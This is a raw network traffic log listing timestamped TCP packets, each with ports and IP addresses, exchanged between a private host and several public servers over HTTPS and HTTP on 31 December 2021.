Dec 31, 2021 19:13:30.686587095 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.686618090 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.686625004 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.686660051 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.687283993 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.687331915 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.687359095 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.687369108 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.687402010 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.688261986 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.688313007 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.688328981 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.688338041 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.688340902 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.688380003 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.689003944 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.706386089 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.706413984 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.706563950 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.706574917 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.706583023 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.706944942 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.706965923 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.707021952 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.707031965 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.707040071 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.708089113 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.708120108 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.708153963 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.708165884 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.708184958 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.708712101 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.708739042 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.708812952 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.708823919 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.709553003 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.709583998 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.709611893 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.709624052 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.709660053 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.710386992 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.710414886 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.710448980 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.710459948 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.710499048 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.718014002 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.729041100 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.729111910 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.729171038 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.729190111 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.729207039 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.729799032 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.729835033 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.729882956 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.729901075 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.729911089 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.730562925 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.730602026 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.730633020 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.730657101 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.730670929 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.731463909 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.731502056 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.731589079 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.731604099 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.731616974 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.732286930 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.732321024 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.732340097 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.732358932 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.732373953 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.732758999 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.732794046 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.732959032 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.732973099 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.751321077 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.751362085 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.751404047 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.751471043 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.751482964 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.752290010 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.752337933 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.752430916 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.752444983 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.752455950 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.753299952 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.753348112 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.753365040 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.753384113 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.753443003 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.754129887 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.754167080 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.754220963 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.754234076 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.754249096 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.755384922 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.755423069 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.755460978 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.755472898 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.755484104 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.756238937 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.756275892 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.756299973 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.756310940 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.756345034 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.757090092 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.757124901 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.757167101 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.757179976 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.757193089 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.777215958 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.777266026 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.777308941 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.777328968 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.777344942 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.778143883 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.778179884 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.778214931 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.778228045 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.778249025 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.778948069 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.778995037 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.779030085 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.779042959 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.779057026 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.780006886 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.780042887 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.780073881 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.780085087 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.780111074 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.780293941 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.780374050 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.780389071 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.780463934 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.780514956 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.780565023 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.780586958 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.780599117 CET	49859	443	192.168.2.3	144.76.136.153
Dec 31, 2021 19:13:30.780611992 CET	443	49859	144.76.136.153	192.168.2.3
Dec 31, 2021 19:13:30.807691097 CET	49860	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:30.856435061 CET	80	49860	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:30.857547045 CET	49860	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:30.857661009 CET	49860	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:30.857681036 CET	49860	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:30.906394005 CET	80	49860	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:30.944114923 CET	80	49860	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:30.945029020 CET	49860	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:30.945235968 CET	49860	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:30.979126930 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:30.979186058 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:30.979278088 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:30.979547024 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:30.979573011 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:30.993752956 CET	80	49860	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:31.036489010 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:31.036601067 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:31.038598061 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:31.038611889 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:31.038914919 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:31.042983055 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:31.084867001 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:31.168968916 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:31.169061899 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:31.169183969 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:31.169228077 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:31.169264078 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:31.169281960 CET	49861	443	192.168.2.3	172.67.158.215
Dec 31, 2021 19:13:31.169294119 CET	443	49861	172.67.158.215	192.168.2.3
Dec 31, 2021 19:13:31.208803892 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.208879948 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.208965063 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.209310055 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.209340096 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.283689976 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.283807993 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.285650015 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.285686016 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.285928011 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.288773060 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.327856064 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.327939987 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.328058004 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.328093052 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.357084036 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.357182026 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.357202053 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.357274055 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.357287884 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.386168957 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.386286020 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.386337042 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.386373997 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.386392117 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.386472940 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.386490107 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.386540890 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.386560917 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.386574984 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.386796951 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.386868000 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.386883974 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.389636040 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.389708042 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.389725924 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.389786959 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.389857054 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.389873981 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.415735960 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.416115046 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.416188955 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.416220903 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.416239023 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.416433096 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.416495085 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.416496992 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.416527987 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.416778088 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.416827917 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.416851997 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.416872025 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.417150021 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.417223930 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.417241096 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.417478085 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.417546988 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.417562008 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.417892933 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.418009996 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.418025017 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.418445110 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.418529987 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.418551922 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.418791056 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.418891907 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.418906927 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.419096947 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.419176102 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.419192076 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.447098017 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.447216988 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.447252035 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.447360992 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.447439909 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.447454929 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.447474957 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.447554111 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.447711945 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.447726011 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.447818041 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.447837114 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.448080063 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.448153019 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.448168993 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.448364019 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.448447943 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.448462963 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.448681116 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.448779106 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.448791981 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.449064970 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.449150085 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.449166059 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.449413061 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.449554920 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.449569941 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.449752092 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.449835062 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.449851036 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.449933052 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.450023890 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.450038910 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.450174093 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.450273037 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.450375080 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.450388908 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.450462103 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.450608969 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.450620890 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.450638056 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.450726986 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.450750113 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.450848103 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.450862885 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451018095 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451105118 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.451112986 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451147079 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451184034 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.451356888 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451436996 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.451452971 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451605082 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451683998 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.451699972 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451895952 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.451997995 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.467670918 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.467685938 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.467791080 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.469299078 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.482125044 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.482228041 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.482259989 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.482566118 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.482669115 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.482686043 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.482803106 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.482865095 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.482877970 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.482897997 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.483019114 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483102083 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.483114958 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483221054 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483298063 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.483315945 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483408928 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483479023 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.483491898 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483622074 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483694077 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.483705997 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483897924 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.483983040 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.484000921 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484173059 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484277010 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.484293938 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484394073 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484453917 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.484467983 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484628916 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.484642982 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484658957 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484719992 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.484743118 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.484752893 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484844923 CET	443	49862	164.132.207.80	192.168.2.3
Dec 31, 2021 19:13:31.484937906 CET	49862	443	192.168.2.3	164.132.207.80
Dec 31, 2021 19:13:31.484956980 CET	443	49862	164.132.207.80	192.168.2.3
